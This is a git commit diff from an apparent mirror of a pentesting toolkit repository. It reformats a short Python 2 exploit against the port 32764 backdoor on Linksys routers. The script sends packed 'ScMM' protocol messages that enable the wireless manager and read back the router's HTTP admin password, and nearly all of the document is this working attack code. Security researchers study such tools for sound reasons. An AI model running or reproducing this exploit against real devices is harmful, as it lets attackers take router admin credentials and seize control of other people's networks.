mirror of
https://github.com/autistic-symposium/sec-pentesting-toolkit.git
synced 2025-05-02 14:56:10 -04:00
socket adds
This commit is contained in:
parent
5f1dc0b4c4
commit
d01824f424
7 changed files with 66 additions and 20 deletions
|
@ -1,3 +1,8 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
__author__ = "bt3"
|
||||
|
||||
|
||||
import socket
|
||||
import struct
|
||||
import sys
|
||||
|
@ -7,23 +12,33 @@ HOST = '192.168.33.1'
|
|||
PORT = 32764
|
||||
|
||||
def send_message(s, message, payload=''):
|
||||
|
||||
header = struct.pack('<III', 0x53634D4D, message, len(payload))
|
||||
s.send(header+payload)
|
||||
response = s.recv(0xC)
|
||||
|
||||
if len(response) != 12:
|
||||
print("Device is not a crackable Linksys router.")
|
||||
print("Recieved invalid response: %s" % response)
|
||||
raise sys.exit(1)
|
||||
|
||||
sig, ret_val, ret_len = struct.unpack('<III', response)
|
||||
|
||||
assert(sig == 0x53634D4D)
|
||||
|
||||
if ret_val != 0:
|
||||
return ret_val, "ERROR"
|
||||
ret_str = ""
|
||||
|
||||
while len(ret_str) < ret_len:
|
||||
ret_str += s.recv(ret_len-len(ret_str))
|
||||
ret_str += s.recv(ret_len - len(ret_str))
|
||||
|
||||
return ret_val, ret_str
|
||||
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
s.connect((HOST, PORT))
|
||||
send_message(s, 3, "wlan_mgr_enable=1")
|
||||
print send_message(s, 2, "http_password")
|
||||
|
||||
if __name__ == '__main__':
|
||||
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
s.connect((HOST, PORT))
|
||||
send_message(s, 3, "wlan_mgr_enable=1")
|
||||
print send_message(s, 2, "http_password")
|
||||
|
|
Loading…
Add table
Add a link
Reference in a new issue